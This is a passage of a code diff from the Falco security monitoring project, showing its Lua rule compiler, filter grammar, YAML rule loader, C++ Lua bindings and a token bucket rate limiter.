+   end
+
+   local ast, error_msg = parser.parse_filter(line)
+
+   if (error_msg) then
+      msg = "Compilation error when compiling \""..line.."\": ".. error_msg
+      error(msg)
+   end
+
+   -- Traverse the ast looking for events/syscalls in the ignored
+   -- syscalls table. If any are found, return an error.
+   if not compiler.all_events then
+      check_for_ignored_syscalls_events(ast, 'macro', line)
+   end
+
+   -- Simply as a validation step, try to expand all macros in this
+   -- macro's condition. This changes the ast, so we make a copy
+   -- first.
+   local ast_copy = copy_ast_obj(ast)
+
+   if (ast.type == "Rule") then
+      -- Line is a filter, so expand macro references
+      repeat
+	 expanded  = expand_macros(ast_copy, macro_defs, false)
+      until expanded == false
+
+   else
+      error("Unexpected top-level AST type: "..ast.type)
+   end
+
+   return ast
+end
+
+--[[
+   Parses a single filter, then expands macros using passed-in table of definitions. Returns resulting AST.
+--]]
+function compiler.compile_filter(name, source, macro_defs, list_defs)
+
+   for name, items in pairs(list_defs) do
+      local begin_name_pat = "^("..name..")([%s(),=])"
+      local mid_name_pat = "([%s(),=])("..name..")([%s(),=])"
+      local end_name_pat = "([%s(),=])("..name..")$"
+      source = string.gsub(source, begin_name_pat, table.concat(items, ", ").."%2")
+      source = string.gsub(source, mid_name_pat, "%1"..table.concat(items, ", ").."%3")
+      source = string.gsub(source, end_name_pat, "%1"..table.concat(items, ", "))
+   end
+
+   local ast, error_msg = parser.parse_filter(source)
+
+   if (error_msg) then
+      msg = "Compilation error when compiling \""..source.."\": "..error_msg
+      error(msg)
+   end
+
+   -- Traverse the ast looking for events/syscalls in the ignored
+   -- syscalls table. If any are found, return an error.
+   if not compiler.all_events then
+      check_for_ignored_syscalls_events(ast, 'rule', source)
+   end
+
+   if (ast.type == "Rule") then
+      -- Line is a filter, so expand macro references
+      repeat
+	 expanded  = expand_macros(ast, macro_defs, false)
+      until expanded == false
+
+   else
+      error("Unexpected top-level AST type: "..ast.type)
+   end
+
+   evttypes = get_evttypes(name, ast, source)
+
+   return ast, evttypes
+end
+
+
+return compiler

userspace/engine/lua/parser.lua

@@ -1,3 +1,20 @@
+--
+-- Copyright (C) 2016 Draios inc.
+--
+-- This file is part of falco.
+--
+-- falco is free software; you can redistribute it and/or modify
+-- it under the terms of the GNU General Public License version 2 as
+-- published by the Free Software Foundation.
+--
+-- falco is distributed in the hope that it will be useful,
+-- but WITHOUT ANY WARRANTY; without even the implied warranty of
+-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+-- GNU General Public License for more details.
+--
+-- You should have received a copy of the GNU General Public License
+-- along with falco.  If not, see <http://www.gnu.org/licenses/>.
+
 --[[
    Falco grammar and parser.
 
@@ -11,6 +28,12 @@
 
 local parser = {}
 
+parser.verbose = false
+
+function parser.set_verbose(verbose)
+   parser.verbose = verbose
+end
+
 local lpeg = require "lpeg"
 
 lpeg.locale(lpeg)
@@ -107,7 +130,7 @@ end
 
 local function terminal (tag)
    -- Rather than trim the whitespace in this way, it would be nicer to exclude it from the capture...
-   return token(V(tag), tag) / function (tok) return { type = tag, value = trim(tok)} end
+   return token(V(tag), tag) / function (tok) val = tok; if tag ~= "String" then val = trim(tok) end; return { type = tag, value = val} end
 end
 
 local function unaryboolop (op, e)
@@ -193,6 +216,7 @@ local G = {
   RelationalExpression =
      rel(terminal "FieldName", V"RelOp", V"Value") +
      rel(terminal "FieldName", V"InOp", V"InList") +
+     rel(terminal "FieldName", V"PmatchOp", V"InList") +
      V"PrimaryExp";
 
   PrimaryExp = symb("(") * V"Filter" * symb(")");
@@ -212,14 +236,16 @@ local G = {
   idRest = alnum + P("_");
   Identifier = V"idStart" * V"idRest"^0;
   Macro = V"idStart" * V"idRest"^0 * -P".";
-  FieldName = V"Identifier" * (P"." + V"Identifier")^1 * (P"[" * V"Int" * P"]")^-1;
+  Int = digit^1;
+  PathString = (alnum + S'-_/*?')^1;
+  Index = V"Int" + V"PathString";
+  FieldName = V"Identifier" * (P"." + V"Identifier")^1 * (P"[" * V"Index" * P"]")^-1;
   Name = C(V"Identifier") * -V"idRest";
   Hex = (P("0x") + P("0X")) * xdigit^1;
   Expo = S("eE") * S("+-")^-1 * digit^1;
   Float = (((digit^1 * P(".") * digit^0) +
           (P(".") * digit^1)) * V"Expo"^-1) +
           (digit^1 * V"Expo");
-  Int = digit^1;
   Number = C(V"Hex" + V"Float" + V"Int") /
            function (n) return tonumber(n) end;
   String = (P'"' * C(((P'\\' * P(1)) + (P(1) - P'"'))^0) * P'"' +  P"'" * C(((P"\\" * P(1)) + (P(1) - P"'"))^0) * P"'")  / function (s) return fix_str(s) end;
@@ -236,8 +262,11 @@ local G = {
           symb("<") / "<" +
           symb(">") / ">" +
           symb("contains") / "contains" +
-          symb("icontains") / "icontains";
+          symb("icontains") / "icontains" +
+          symb("glob") / "glob" +
+          symb("startswith") / "startswith";
   InOp = kw("in") / "in";
+  PmatchOp = kw("pmatch") / "pmatch";
   UnaryBoolOp = kw("not") / "not";
   ExistsOp = kw("exists") / "exists";
 
@@ -296,33 +325,33 @@ parser.print_ast = print_ast
 -- have the signature:
 --     cb(ast_node, ctx)
 -- ctx is optional.
-function traverse_ast(ast, node_type, cb, ctx)
+function traverse_ast(ast, node_types, cb, ctx)
    local t = ast.type
 
-   if t == node_type then
+   if node_types[t] ~= nil then
       cb(ast, ctx)
    end
 
    if t == "Rule" then
-      traverse_ast(ast.filter, node_type, cb, ctx)
+      traverse_ast(ast.filter, node_types, cb, ctx)
 
    elseif t == "Filter" then
-      traverse_ast(ast.value, node_type, cb, ctx)
+      traverse_ast(ast.value, node_types, cb, ctx)
 
    elseif t == "BinaryBoolOp" or t == "BinaryRelOp" then
-      traverse_ast(ast.left, node_type, cb, ctx)
-      traverse_ast(ast.right, node_type, cb, ctx)
+      traverse_ast(ast.left, node_types, cb, ctx)
+      traverse_ast(ast.right, node_types, cb, ctx)
 
    elseif t == "UnaryRelOp" or t == "UnaryBoolOp" then
-      traverse_ast(ast.argument, node_type, cb, ctx)
+      traverse_ast(ast.argument, node_types, cb, ctx)
 
    elseif t == "List" then
       for i, v in ipairs(ast.elements) do
-         traverse_ast(v, node_type, cb, ctx)
+         traverse_ast(v, node_types, cb, ctx)
       end
 
    elseif t == "MacroDef" then
-      traverse_ast(ast.value, node_type, cb, ctx)
+      traverse_ast(ast.value, node_types, cb, ctx)
 
    elseif t == "FieldName" or t == "Number" or t == "String" or t == "BareString" or t == "Macro" then
       -- do nothing, no traversal needed

userspace/engine/lua/rule_loader.lua

@@ -0,0 +1,463 @@
+--
+-- Copyright (C) 2016 Draios inc.
+--
+-- This file is part of falco.
+--
+-- falco is free software; you can redistribute it and/or modify
+-- it under the terms of the GNU General Public License version 2 as
+-- published by the Free Software Foundation.
+--
+-- falco is distributed in the hope that it will be useful,
+-- but WITHOUT ANY WARRANTY; without even the implied warranty of
+-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+-- GNU General Public License for more details.
+--
+-- You should have received a copy of the GNU General Public License
+-- along with falco.  If not, see <http://www.gnu.org/licenses/>.
+
+--[[
+   Compile and install falco rules.
+
+   This module exports functions that are called from falco c++-side to compile and install a set of rules.
+
+--]]
+
+local compiler = require "compiler"
+local yaml = require"lyaml"
+
+
+--[[
+   Traverse AST, adding the passed-in 'index' to each node that contains a relational expression
+--]]
+local function mark_relational_nodes(ast, index)
+   local t = ast.type
+
+   if t == "BinaryBoolOp" then
+      mark_relational_nodes(ast.left, index)
+      mark_relational_nodes(ast.right, index)
+
+   elseif t == "UnaryBoolOp" then
+      mark_relational_nodes(ast.argument, index)
+
+   elseif t == "BinaryRelOp" then
+      ast.index = index
+
+   elseif t == "UnaryRelOp"  then
+      ast.index = index
+
+   else
+      error ("Unexpected type in mark_relational_nodes: "..t)
+   end
+end
+
+function map(f, arr)
+   local res = {}
+   for i,v in ipairs(arr) do
+      res[i] = f(v)
+   end
+   return res
+end
+
+
+--[[
+   Take a filter AST and set it up in the libsinsp runtime, using the filter API.
+--]]
+local function install_filter(node, parent_bool_op)
+   local t = node.type
+
+   if t == "BinaryBoolOp" then
+
+      -- "nesting" (the runtime equivalent of placing parens in syntax) is
+      -- never necessary when we have identical successive operators. so we
+      -- avoid it as a runtime performance optimization.
+      if (not(node.operator == parent_bool_op)) then
+	 filter.nest() -- io.write("(")
+      end
+
+      install_filter(node.left, node.operator)
+      filter.bool_op(node.operator) -- io.write(" "..node.operator.." ")
+      install_filter(node.right, node.operator)
+
+      if (not (node.operator == parent_bool_op)) then
+	 filter.unnest() -- io.write(")")
+      end
+
+   elseif t == "UnaryBoolOp" then
+      filter.nest() --io.write("(")
+      filter.bool_op(node.operator) -- io.write(" "..node.operator.." ")
+      install_filter(node.argument)
+      filter.unnest() -- io.write(")")
+
+   elseif t == "BinaryRelOp" then
+      if (node.operator == "in" or node.operator == "pmatch") then
+	 elements = map(function (el) return el.value end, node.right.elements)
+	 filter.rel_expr(node.left.value, node.operator, elements, node.index)
+      else
+	 filter.rel_expr(node.left.value, node.operator, node.right.value, node.index)
+      end
+      -- io.write(node.left.value.." "..node.operator.." "..node.right.value)
+
+   elseif t == "UnaryRelOp"  then
+      filter.rel_expr(node.argument.value, node.operator, node.index)
+      --io.write(node.argument.value.." "..node.operator)
+
+   else
+      error ("Unexpected type in install_filter: "..t)
+   end
+end
+
+function set_output(output_format, state)
+
+   if(output_ast.type == "OutputFormat") then
+
+      local format
+
+   else
+      error ("Unexpected type in set_output: ".. output_ast.type)
+   end
+end
+
+-- Note that the rules_by_name and rules_by_idx refer to the same rule
+-- object. The by_name index is used for things like describing rules,
+-- and the by_idx index is used to map the relational node index back
+-- to a rule.
+local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={}, macros_by_name={}, lists_by_name={},
+	       n_rules=0, rules_by_idx={}, ordered_rule_names={}, ordered_macro_names={}, ordered_list_names={}}
+
+local function reset_rules(rules_mgr)
+   falco_rules.clear_filters(rules_mgr)
+   state.n_rules = 0
+   state.rules_by_idx = {}
+   state.macros = {}
+   state.lists = {}
+end
+
+-- From http://lua-users.org/wiki/TableUtils
+--
+function table.val_to_str ( v )
+  if "string" == type( v ) then
+    v = string.gsub( v, "\n", "\\n" )
+    if string.match( string.gsub(v,"[^'\"]",""), '^"+$' ) then
+      return "'" .. v .. "'"
+    end
+    return '"' .. string.gsub(v,'"', '\\"' ) .. '"'
+  else
+    return "table" == type( v ) and table.tostring( v ) or
+      tostring( v )
+  end
+end
+
+function table.key_to_str ( k )
+  if "string" == type( k ) and string.match( k, "^[_%a][_%a%d]*$" ) then
+    return k
+  else
+    return "[" .. table.val_to_str( k ) .. "]"
+  end
+end
+
+function table.tostring( tbl )
+  local result, done = {}, {}
+  for k, v in ipairs( tbl ) do
+    table.insert( result, table.val_to_str( v ) )
+    done[ k ] = true
+  end
+  for k, v in pairs( tbl ) do
+    if not done[ k ] then
+      table.insert( result,
+        table.key_to_str( k ) .. "=" .. table.val_to_str( v ) )
+    end
+  end
+  return "{" .. table.concat( result, "," ) .. "}"
+end
+
+
+function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replace_container_info)
+
+   compiler.set_verbose(verbose)
+   compiler.set_all_events(all_events)
+
+   local rules = yaml.load(rules_content)
+
+   if rules == nil then
+      -- An empty rules file is acceptable
+      return
+   end
+
+   if type(rules) ~= "table" then
+      error("Rules content \""..rules_content.."\" is not yaml")
+   end
+
+   -- Iterate over yaml list. In this pass, all we're doing is
+   -- populating the set of rules, macros, and lists. We're not
+   -- expanding/compiling anything yet. All that will happen in a
+   -- second pass
+   for i,v in ipairs(rules) do
+
+      if (not (type(v) == "table")) then
+	 error ("Unexpected element of type " ..type(v)..". Each element should be a yaml associative array.")
+      end
+
+      if (v['macro']) then
+	 if state.macros_by_name[v['macro']] == nil then
+	    state.ordered_macro_names[#state.ordered_macro_names+1] = v['macro']
+	 end
+
+	 for i, field in ipairs({'condition'}) do
+	    if (v[field] == nil) then
+	       error ("Missing "..field.." in macro with name "..v['macro'])
+	    end
+	 end
+
+	 state.macros_by_name[v['macro']] = v
+
+      elseif (v['list']) then
+
+	 if state.lists_by_name[v['list']] == nil then
+	    state.ordered_list_names[#state.ordered_list_names+1] = v['list']
+	 end
+
+	 for i, field in ipairs({'items'}) do
+	    if (v[field] == nil) then
+	       error ("Missing "..field.." in list with name "..v['list'])
+	    end
+	 end
+
+	 state.lists_by_name[v['list']] = v
+
+      elseif (v['rule']) then
+
+	 if (v['rule'] == nil or type(v['rule']) == "table") then
+	    error ("Missing name in rule")
+	 end
+
+	 for i, field in ipairs({'condition', 'output', 'desc', 'priority'}) do
+	    if (v[field] == nil) then
+	       error ("Missing "..field.." in rule with name "..v['rule'])
+	    end
+	 end
+
+	 -- Note that we can overwrite rules, but the rules are still
+	 -- loaded in the order in which they first appeared,
+	 -- potentially across multiple files.
+	 if state.rules_by_name[v['rule']] == nil then
+	    state.ordered_rule_names[#state.ordered_rule_names+1] = v['rule']
+	 end
+
+	 state.rules_by_name[v['rule']] = v
+
+      else
+	 error ("Unknown rule object: "..table.tostring(v))
+      end
+   end
+
+   -- We've now loaded all the rules, macros, and list. Now
+   -- compile/expand the rules, macros, and lists. We use
+   -- ordered_rule_{lists,macros,names} to compile them in the order
+   -- in which they appeared in the file(s).
+   reset_rules(rules_mgr)
+
+   for i, name in ipairs(state.ordered_list_names) do
+
+      local v = state.lists_by_name[name]
+
+      -- list items are represented in yaml as a native list, so no
+      -- parsing necessary
+      local items = {}
+
+      -- List items may be references to other lists, so go through
+      -- the items and expand any references to the items in the list
+      for i, item in ipairs(v['items']) do
+	 if (state.lists[item] == nil) then
+	    items[#items+1] = item
+	 else
+	    for i, exp_item in ipairs(state.lists[item]) do
+	       items[#items+1] = exp_item
+	    end
+	 end
+      end
+
+      state.lists[v['list']] = items
+   end
+
+   for i, name in ipairs(state.ordered_macro_names) do
+
+      local v = state.macros_by_name[name]
+
+      local ast = compiler.compile_macro(v['condition'], state.macros, state.lists)
+      state.macros[v['macro']] = ast.filter.value
+   end
+
+   for i, name in ipairs(state.ordered_rule_names) do
+
+      local v = state.rules_by_name[name]
+
+      local filter_ast, evttypes = compiler.compile_filter(v['rule'], v['condition'],
+							   state.macros, state.lists)
+
+      if (filter_ast.type == "Rule") then
+	 state.n_rules = state.n_rules + 1
+
+	 state.rules_by_idx[state.n_rules] = v
+
+	 -- Store the index of this formatter in each relational expression that
+	 -- this rule contains.
+	 -- This index will eventually be stamped in events passing this rule, and
+	 -- we'll use it later to determine which output to display when we get an
+	 -- event.
+	 mark_relational_nodes(filter_ast.filter.value, state.n_rules)
+
+	 install_filter(filter_ast.filter.value)
+
+	 if (v['tags'] == nil) then
+	    v['tags'] = {}
+	 end
+
+	 -- Pass the filter and event types back up
+	 falco_rules.add_filter(rules_mgr, v['rule'], evttypes, v['tags'])
+
+	 -- Rule ASTs are merged together into one big AST, with "OR" between each
+	 -- rule.
+	 if (state.filter_ast == nil) then
+	    state.filter_ast = filter_ast.filter.value
+	 else
+	    state.filter_ast = { type = "BinaryBoolOp", operator = "or", left = state.filter_ast, right = filter_ast.filter.value }
+	 end
+
+	 -- Enable/disable the rule
+	 if (v['enabled'] == nil) then
+	    v['enabled'] = true
+	 end
+
+	 if (v['enabled'] == false) then
+	    falco_rules.enable_rule(rules_mgr, v['rule'], 0)
+	 end
+
+	 -- If the format string contains %container.info, replace it
+	 -- with extra. Otherwise, add extra onto the end of the format
+	 -- string.
+	 if string.find(v['output'], "%container.info", nil, true) ~= nil then
+
+	    -- There may not be any extra, or we're not supposed
+	    -- to replace it, in which case we use the generic
+	    -- "%container.name (id=%container.id)"
+	    if replace_container_info == false then
+	       v['output'] = string.gsub(v['output'], "%%container.info", "%%container.name (id=%%container.id)")
+	       if extra ~= "" then
+		  v['output'] = v['output'].." "..extra
+	       end
+	    else
+	       safe_extra = string.gsub(extra, "%%", "%%%%")
+	       v['output'] = string.gsub(v['output'], "%%container.info", safe_extra)
+	    end
+	 else
+	    -- Just add the extra to the end
+	    if extra ~= "" then
+	       v['output'] = v['output'].." "..extra
+	    end
+	 end
+
+	 -- Ensure that the output field is properly formatted by
+	 -- creating a formatter from it. Any error will be thrown
+	 -- up to the top level.
+	 formatter = formats.formatter(v['output'])
+	 formats.free_formatter(formatter)
+      else
+	 error ("Unexpected type in load_rule: "..filter_ast.type)
+      end
+   end
+
+   io.flush()
+end
+
+local rule_fmt = "%-50s %s"
+
+-- http://lua-users.org/wiki/StringRecipes, with simplifications and bugfixes
+local function wrap(str, limit, indent)
+   indent = indent or ""
+   limit = limit or 72
+   local here = 1
+   return str:gsub("(%s+)()(%S+)()",
+		   function(sp, st, word, fi)
+		      if fi-here > limit then
+			 here = st
+			 return "\n"..indent..word
+		      end
+                   end)
+end
+
+local function describe_single_rule(name)
+   if (state.rules_by_name[name] == nil) then
+      error ("No such rule: "..name)
+   end
+
+   -- Wrap the description into an multiple lines each of length ~ 60
+   -- chars, with indenting to line up with the first line.
+   local wrapped = wrap(state.rules_by_name[name]['desc'], 60, string.format(rule_fmt, "", ""))
+
+   local line = string.format(rule_fmt, name, wrapped)
+   print(line)
+   print()
+end
+
+-- If name is nil, describe all rules
+function describe_rule(name)
+
+   print()
+   local line = string.format(rule_fmt, "Rule", "Description")
+   print(line)
+   line = string.format(rule_fmt, "----", "-----------")
+   print(line)
+
+   if name == nil then
+      for rulename, rule in pairs(state.rules_by_name) do
+	 describe_single_rule(rulename)
+      end
+   else
+      describe_single_rule(name)
+   end
+end
+
+local rule_output_counts = {total=0, by_priority={}, by_name={}}
+
+function on_event(evt_, rule_id)
+
+   if state.rules_by_idx[rule_id] == nil then
+      error ("rule_loader.on_event(): event with invalid rule_id: ", rule_id)
+   end
+
+   rule_output_counts.total = rule_output_counts.total + 1
+   local rule = state.rules_by_idx[rule_id]
+
+   if rule_output_counts.by_priority[rule.priority] == nil then
+      rule_output_counts.by_priority[rule.priority] = 1
+   else
+      rule_output_counts.by_priority[rule.priority] = rule_output_counts.by_priority[rule.priority] + 1
+   end
+
+   if rule_output_counts.by_name[rule.rule] == nil then
+      rule_output_counts.by_name[rule.rule] = 1
+   else
+      rule_output_counts.by_name[rule.rule] = rule_output_counts.by_name[rule.rule] + 1
+   end
+
+   -- Prefix output with '*' so formatting is permissive
+   output = "*"..rule.output
+
+   return rule.rule, rule.priority, output
+end
+
+function print_stats()
+   print("Events detected: "..rule_output_counts.total)
+   print("Rule counts by severity:")
+   for priority, count in pairs(rule_output_counts.by_priority) do
+      print ("   "..priority..": "..count)
+   end
+
+   print("Triggered rules by rule name:")
+   for name, count in pairs(rule_output_counts.by_name) do
+      print ("   "..name..": "..count)
+   end
+end
+
+
+

userspace/engine/rules.cpp

@@ -0,0 +1,263 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include "rules.h"
+#include "logger.h"
+
+extern "C" {
+#include "lua.h"
+#include "lualib.h"
+#include "lauxlib.h"
+}
+
+#include "falco_engine.h"
+const static struct luaL_reg ll_falco_rules [] =
+{
+	{"clear_filters", &falco_rules::clear_filters},
+	{"add_filter", &falco_rules::add_filter},
+	{"enable_rule", &falco_rules::enable_rule},
+	{NULL,NULL}
+};
+
+falco_rules::falco_rules(sinsp* inspector, falco_engine *engine, lua_State *ls)
+	: m_inspector(inspector), m_engine(engine), m_ls(ls)
+{
+	m_lua_parser = new lua_parser(inspector, m_ls);
+}
+
+void falco_rules::init(lua_State *ls)
+{
+	luaL_openlib(ls, "falco_rules", ll_falco_rules, 0);
+}
+
+int falco_rules::clear_filters(lua_State *ls)
+{
+	if (! lua_islightuserdata(ls, -1))
+	{
+		lua_pushstring(ls, "Invalid arguments passed to clear_filters()");
+		lua_error(ls);
+	}
+
+	falco_rules *rules = (falco_rules *) lua_topointer(ls, -1);
+	rules->clear_filters();
+
+	return 0;
+}
+
+void falco_rules::clear_filters()
+{
+	m_engine->clear_filters();
+}
+
+int falco_rules::add_filter(lua_State *ls)
+{
+	if (! lua_islightuserdata(ls, -4) ||
+	    ! lua_isstring(ls, -3) ||
+	    ! lua_istable(ls, -2) ||
+	    ! lua_istable(ls, -1))
+	{
+		lua_pushstring(ls, "Invalid arguments passed to add_filter()");
+		lua_error(ls);
+	}
+
+	falco_rules *rules = (falco_rules *) lua_topointer(ls, -4);
+	const char *rulec = lua_tostring(ls, -3);
+
+	set<uint32_t> evttypes;
+
+	lua_pushnil(ls);  /* first key */
+	while (lua_next(ls, -3) != 0) {
+                // key is at index -2, value is at index
+                // -1. We want the keys.
+		evttypes.insert(luaL_checknumber(ls, -2));
+
+		// Remove value, keep key for next iteration
+		lua_pop(ls, 1);
+	}
+
+	set<string> tags;
+
+	lua_pushnil(ls);  /* first key */
+	while (lua_next(ls, -2) != 0) {
+                // key is at index -2, value is at index
+                // -1. We want the keys.
+		tags.insert(lua_tostring(ls, -1));
+
+		// Remove value, keep key for next iteration
+		lua_pop(ls, 1);
+	}
+
+	std::string rule = rulec;
+	rules->add_filter(rule, evttypes, tags);
+
+	return 0;
+}
+
+void falco_rules::add_filter(string &rule, set<uint32_t> &evttypes, set<string> &tags)
+{
+	// While the current rule was being parsed, a sinsp_filter
+	// object was being populated by lua_parser. Grab that filter
+	// and pass it to the engine.
+	sinsp_filter *filter = m_lua_parser->get_filter(true);
+
+	m_engine->add_evttype_filter(rule, evttypes, tags, filter);
+}
+
+int falco_rules::enable_rule(lua_State *ls)
+{
+	if (! lua_islightuserdata(ls, -3) ||
+	    ! lua_isstring(ls, -2) ||
+	    ! lua_isnumber(ls, -1))
+	{
+		lua_pushstring(ls, "Invalid arguments passed to enable_rule()");
+		lua_error(ls);
+	}
+
+	falco_rules *rules = (falco_rules *) lua_topointer(ls, -3);
+	const char *rulec = lua_tostring(ls, -2);
+	std::string rule = rulec;
+	bool enabled = (lua_tonumber(ls, -1) ? true : false);
+
+	rules->enable_rule(rule, enabled);
+
+	return 0;
+}
+
+void falco_rules::enable_rule(string &rule, bool enabled)
+{
+	m_engine->enable_rule(rule, enabled);
+}
+
+void falco_rules::load_rules(const string &rules_content,
+			     bool verbose, bool all_events,
+			     string &extra, bool replace_container_info)
+{
+	lua_getglobal(m_ls, m_lua_load_rules.c_str());
+	if(lua_isfunction(m_ls, -1))
+	{
+		// Create a table containing all events, so they can
+		// be mapped to event ids.
+		sinsp_evttables* einfo = m_inspector->get_event_info_tables();
+		const struct ppm_event_info* etable = einfo->m_event_info;
+		const struct ppm_syscall_desc* stable = einfo->m_syscall_info_table;
+
+		map<string,string> events_by_name;
+		for(uint32_t j = 0; j < PPM_EVENT_MAX; j++)
+		{
+			auto it = events_by_name.find(etable[j].name);
+
+			if (it == events_by_name.end()) {
+				events_by_name[etable[j].name] = to_string(j);
+			} else {
+				string cur = it->second;
+				cur += " ";
+				cur += to_string(j);
+				events_by_name[etable[j].name] = cur;
+			}
+		}
+
+		lua_newtable(m_ls);
+
+		for( auto kv : events_by_name)
+		{
+			lua_pushstring(m_ls, kv.first.c_str());
+			lua_pushstring(m_ls, kv.second.c_str());
+			lua_settable(m_ls, -3);
+		}
+
+		lua_setglobal(m_ls, m_lua_events.c_str());
+
+		// Create a table containing the syscalls/events that
+		// are ignored by the kernel module. load_rules will
+		// return an error if any rule references one of these
+		// syscalls/events.
+
+		lua_newtable(m_ls);
+
+		for(uint32_t j = 0; j < PPM_EVENT_MAX; j++)
+		{
+			if(etable[j].flags & EF_DROP_FALCO)
+			{
+				lua_pushstring(m_ls, etable[j].name);
+				lua_pushnumber(m_ls, 1);
+				lua_settable(m_ls, -3);
+			}
+		}
+
+		lua_setglobal(m_ls, m_lua_ignored_events.c_str());
+
+		lua_newtable(m_ls);
+
+		for(uint32_t j = 0; j < PPM_SC_MAX; j++)
+		{
+			if(stable[j].flags & EF_DROP_FALCO)
+			{
+				lua_pushstring(m_ls, stable[j].name);
+				lua_pushnumber(m_ls, 1);
+				lua_settable(m_ls, -3);
+			}
+		}
+
+		lua_setglobal(m_ls, m_lua_ignored_syscalls.c_str());
+
+		lua_pushstring(m_ls, rules_content.c_str());
+		lua_pushlightuserdata(m_ls, this);
+		lua_pushboolean(m_ls, (verbose ? 1 : 0));
+		lua_pushboolean(m_ls, (all_events ? 1 : 0));
+		lua_pushstring(m_ls, extra.c_str());
+		lua_pushboolean(m_ls, (replace_container_info ? 1 : 0));
+		if(lua_pcall(m_ls, 6, 0, 0) != 0)
+		{
+			const char* lerr = lua_tostring(m_ls, -1);
+			string err = "Error loading rules:" + string(lerr);
+			throw falco_exception(err);
+		}
+	} else {
+		throw falco_exception("No function " + m_lua_load_rules + " found in lua rule module");
+	}
+}
+
+void falco_rules::describe_rule(std::string *rule)
+{
+	lua_getglobal(m_ls, m_lua_describe_rule.c_str());
+	if(lua_isfunction(m_ls, -1))
+	{
+		if (rule == NULL)
+		{
+			lua_pushnil(m_ls);
+		} else {
+			lua_pushstring(m_ls, rule->c_str());
+		}
+
+		if(lua_pcall(m_ls, 1, 0, 0) != 0)
+		{
+			const char* lerr = lua_tostring(m_ls, -1);
+			string err = "Could not describe " + (rule == NULL ? "all rules" : "rule " + *rule) + ": " + string(lerr);
+			throw falco_exception(err);
+		}
+	} else {
+		throw falco_exception("No function " + m_lua_describe_rule + " found in lua rule module");
+	}
+}
+
+
+falco_rules::~falco_rules()
+{
+	delete m_lua_parser;
+}
+

userspace/engine/rules.h

@@ -0,0 +1,58 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#pragma once
+
+#include <set>
+
+#include "sinsp.h"
+
+#include "lua_parser.h"
+
+class falco_engine;
+
+class falco_rules
+{
+ public:
+	falco_rules(sinsp* inspector, falco_engine *engine, lua_State *ls);
+	~falco_rules();
+	void load_rules(const string &rules_content, bool verbose, bool all_events,
+			std::string &extra, bool replace_container_info);
+	void describe_rule(string *rule);
+
+	static void init(lua_State *ls);
+	static int clear_filters(lua_State *ls);
+	static int add_filter(lua_State *ls);
+	static int enable_rule(lua_State *ls);
+
+ private:
+	void clear_filters();
+	void add_filter(string &rule, std::set<uint32_t> &evttypes, std::set<string> &tags);
+	void enable_rule(string &rule, bool enabled);
+
+	lua_parser* m_lua_parser;
+	sinsp* m_inspector;
+	falco_engine *m_engine;
+	lua_State* m_ls;
+
+	string m_lua_load_rules = "load_rules";
+	string m_lua_ignored_syscalls = "ignored_syscalls";
+	string m_lua_ignored_events = "ignored_events";
+	string m_lua_events = "events";
+	string m_lua_describe_rule = "describe_rule";
+};

userspace/engine/token_bucket.cpp

@@ -0,0 +1,91 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <cstddef>
+#include <sys/time.h>
+
+#include "utils.h"
+#include "token_bucket.h"
+
+token_bucket::token_bucket()
+{
+	init(1, 1);
+}
+
+token_bucket::~token_bucket()
+{
+}
+
+void token_bucket::init(double rate, double max_tokens, uint64_t now)
+{
+	m_rate = rate;
+	m_max_tokens = max_tokens;
+	m_tokens = max_tokens;
+
+	if(now == 0)
+	{
+		now = sinsp_utils::get_current_time_ns();
+	}
+
+	m_last_seen = now;
+}
+
+bool token_bucket::claim()
+{
+	uint64_t now = sinsp_utils::get_current_time_ns();
+
+	return claim(1, now);
+}
+
+bool token_bucket::claim(double tokens, uint64_t now)
+{
+	double tokens_gained = m_rate * ((now - m_last_seen) / (1000000000.0));
+	m_last_seen = now;
+
+	m_tokens += tokens_gained;
+
+	//
+	// Cap at max_tokens
+	//
+	if(m_tokens > m_max_tokens)
+	{
+		m_tokens = m_max_tokens;
+	}
+
+	//
+	// If m_tokens is < tokens, can't claim.
+	//
+	if(m_tokens < tokens)
+	{
+		return false;
+	}
+
+	m_tokens -= tokens;
+
+	return true;
+}
+
+double token_bucket::get_tokens()
+{
+	return m_tokens;
+}
+
+uint64_t token_bucket::get_last_seen()
+{
+	return m_last_seen;
+}

userspace/engine/token_bucket.h

@@ -0,0 +1,77 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#pragma once
+
+#include <cstdint>
+
+// A simple token bucket that accumulates tokens at a fixed rate and allows
